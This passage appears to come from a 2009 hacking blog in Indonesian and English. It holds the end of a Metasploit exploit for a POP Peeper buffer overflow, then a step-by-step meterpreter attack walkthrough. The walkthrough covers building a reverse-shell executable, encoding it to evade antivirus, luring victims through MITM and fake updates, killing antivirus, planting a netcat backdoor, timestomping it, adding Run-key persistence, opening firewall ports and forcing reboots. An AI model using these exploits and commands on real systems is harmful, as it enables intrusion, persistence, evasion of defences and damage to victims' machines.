                       The exploitation server can send an oversized ID (1040 bytes), overflowing a buffer on the stack, giving the attacker
                       complete control over the process.

                       POP Peeper 3.4.0.0 was confirmed vulnerable. All versions of below 3.4.0.0 and are suspected vulnerable as well.

			},
			'Author'         => 'Based on MC\'s and Krakow Labs',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					['MIL', '8117'],
					['URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt']
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['POP Peeper v3.4.0.0', { 'Ret' => 0x10014E39 } ]
				],
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

			register_options(
			[
			  OptPort.new('SRVPORT', [ true, "The POP daemon to listen on", 110])
			], self.class
			)

	end

	def on_client_connect(client)
	  client.write("+OK\r\n")
  end

	def on_client_data(client)

	  # Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

    client.write("+OK\r\n")
    client.get_once
    client.write("+OK\r\n")
    client.get_once
    client.write("+OK 1 100\r\n")
    client.get_once

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.write("+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n")

    handler

    service.close_client(client)

  end

end

Pihak underground dapat memanfaatkan framework metasploit sebagai ‘ebook’ dalam mempelajari beragam tehnik dan teknologi eksploitasi, white hat / security consultant dapat memanfaatkan framework metasploit untuk mempercepat proses penetration testing ataupun pengembangan eksploit, blackhat / para developer automatic tools semacam MPack dan ICEpack dapat memanfaatkan beragam shellcode ataupun assembly code dari metasploit untuk dimasukan kedalam modul-modul 0day miliknya. Inilah salah satu seni kehebatan opensource.

Everybody can learn and get benefit of a framework, isn’t it? ;)

.fun and profit with meterpreter.

Sunday, March 1st, 2009

.so lets make ur choice kiddo,dengan mengacu sebelumnya pada artikel.

.meterpreter non encode.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 X > meterpreter_1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LHOST=192.168.0.12,LPORT=455

http://www.virustotal.com/analisis/4b0a655b264b23b2f4dab74688c8890e
Result: 1/39

.meterpreter with encode XOR.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 R | ./msfencode -e x86/shikata_ga_nai -b '' -t exe -o meterpreter_2.exe
[*] x86/shikata_ga_nai succeeded, final size 306

http://www.virustotal.com/analisis/cbb1cf1a7ce9943c5d8d15f210da8361
Result: 0/39 (0%)

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.12
LHOST => 192.168.0.12
msf exploit(handler) > set LPORT 455
LPORT => 455
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

.next move is critical,well sekarang attacker membuat target agar mengeksekusi meterpreter_2.exe sebeneranya ini tergantung imajinasi anda sendiri.
.penulis sendiri memilih ettercap sebagai jembatan menggunakan metode MITM. bisa dengan ettercap filter yang akan membuat popup setiap target melakukan browsing.
.ataupun dengan kombinasi evilgrade( www.infobyte.com.ar )+ettercap dengan DNS spoofing secara tidak langsung akan mengelabui target untuk melakukan fake patch
untuk beberapa program yang ada di evilgrade exam: winamp,winzip,notepad++ bisa juga menambahkan modul tersendiri di evilgrade; firefox ataupun thunderbird (-.-)”.

.setelah target mengeksekusi meterperter_2.exe.

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.12:455 -> 192.168.0.5:1037)

meterpreter > sysinfo
Computer: PENTEST3
OS      : Windows XP (Build 2600, Service Pack 3).

.with remote desktop.
.there is for Virtual Network Computing look, im prefer CLI than GUI (^^)V.

meterpreter > run getgui
-----------------passing------------------------

.kill AV.
meterpreter > run killav
[*] Killing Antivirus services on the target...

.ok bisa juga dengan mengedit killav.rb untuk menambahkan beberapa list AV tersendiri.

neo@b0x:~# vi /pentest/exploits/framework3/scripts/meterpreter/killav.rb
#
# Meterpreter script that kills all Antivirus processes
# Provided by: Jerome Athias 
#

print_status("Killing Antivirus services on the target...")

avs = %W{
        AAWTray.exe
        Ad-Aware.exe
        MSASCui.exe
        _avp32.exe
        _avpcc.exe
        _avpm.exe
        aAvgApi.exe
        ackwin32.exe
        adaware.exe
        advxdwin.exe
        agentsvr.exe
        agentw.exe
        alertsvc.exe
        alevir.exe
        alogserv.exe
        amon9x.exe
        anti-trojan.exe
-----------------cut------------------------

windows enumiration

meterpreter > run winemun
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.0.5:1037...
[*] Saving report to /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
[*] Checking if PENTEST3 is a Virtual Machine ........
[*]     This is a VMWare virtual Machine
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts
[*]     running command net accounts /domain
[*]     running command net session
-----------------cut------------------------

example output winenum

neo@b0x:~# cat /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
Date:       2009-02-16.02:17:48
Running as: PENTEST3\pentest3
Host:       PENTEST3
OS:         Windows XP (Build 2600, Service Pack 3).

This is a VMWare virtual Machine

*****************************************
      Output of cmd.exe /c set
*****************************************
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\pentest3\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=PENTEST3
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\pentest3
LOGONSERVER=\\PENTEST3
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f0d
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
TMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
USERDOMAIN=PENTEST3
-----------------cut------------------------

.bagaimana bila winemun ruby dalam framework3/scripts/meterpreter/winenum.rb.
.penulis lakukan modifikasi hingga yang di dump adalah my document bukan lagi registry ^_^V.

.netcat as backdoor.
.swiss army knife menggunakan TCP dan UDP dalam melakukan koneksi,penulis akan membahas penggunaan backd00r dalam wind#ws b0x.
.walaupun banyak antivirus menggangap netcat sebagai hacktool .

meterpreter > use priv
Loading extension priv...success.

meterpreter > upload /tmp/system32.exe C:\\windows\\system32\\
[*] uploading  : /tmp/system32.exe -> C:\windows\system32\
[*] uploaded   : /tmp/system32.exe -> C:\windows\system32\\system32.exe

.change file times.

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Tue Feb 24 20:27:49 -0500 2009
Accessed      : Thu Feb 26 09:29:39 -0500 2009
Created       : Tue Feb 24 20:27:49 -0500 2009
Entry Modified: Thu Feb 26 09:29:39 -0500 2009

meterpreter > timestomp C:\\windows\\system32\\system32.exe -b
[*] Blanking file MACE attributes on C:\windows\system32\system32.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -f C:\\windows\\system32\\cmd.exe
[*] Setting MACE attributes on C:\windows\system32\system32.exe from C:\windows\system32\cmd.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Sun Apr 13 18:42:16 -0400 2008
Accessed      : Sat Feb 28 05:06:19 -0500 2009
Created       : Thu Aug 23 08:00:00 -0400 2001
Entry Modified: Sat Feb 28 05:06:19 -0500 2009

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (3):

        SunJavaUpdateSched
        VMware Tools
        VMware User Process

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
Successful set system32.

meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: system32
Type: REG_SZ
Data: C:\windows\system32\system32.exe -Ldp 455 -e cmd.exe

.bypass XP default firewall.
.ada 2 metode dalam baypass firewall dari XP,dengan registry ataupun dengan network shell.

.with registry edit.

meterpreter > reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
Enumerating: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list

No children.

meterpreter > reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32 -d "C:\WINDOWS\system32\system32.exe:*:Enabled:system32"
Successful set system32.

meterpreter > reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
Key: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list
Name: system32
Type: REG_SZ
Data: C:WINDOWSsystem32system32.exe:*:Enabled:system32

.with “netsh” command.

C:\Documents and Settings\pentest3\Desktop>Netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable <<<< this
Exception mode                    = Enable <<<< this

Local Area Connection 2 firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

.setting firewall menarik disana adalah operation dan exception mode yang enable.
.sehingga attacker dapat melakukan penambahan port yang terbuka.

C:\Documents and Settings\pentest3\Desktop>netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
ok.

C:\Documents and Settings\pentest3\Desktop>netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
455    TCP       Enable   Service Firewall              <<<< this
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

.change target XP desktop wallpaper.
.secata default XP menamakan wallpaper desktopnya dengan wallpaper1.bmp, sehingga kita dapat melakukan replace.
.is this funny?.

meterpreter > upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
[*] uploading  : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\
[*] uploaded   : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\\wallpaper1.bmp

meterpreter > execute -H -i -f cmd.exe
Process 1096 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3\Desktop>

.one more funny stuff.
.dengan shutdown command attacker dapat melakukan shutdown/restart dengan timeout,with funny message.

C:\Documents and Settings\pentest3\Desktop>shutdown -r -f -c "::your box are belong to us::" -t 13
shutdown -r -f -c "::your box are belong to us::" -t 13

msf > connect 192.168.0.5 455
[*] Connected to 192.168.0.5:455
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3>  

are u makes fun kidd0?

upgrade ur evil mind and imagination,explore out of the sphere,think out of the box
make ur choice;

EOF--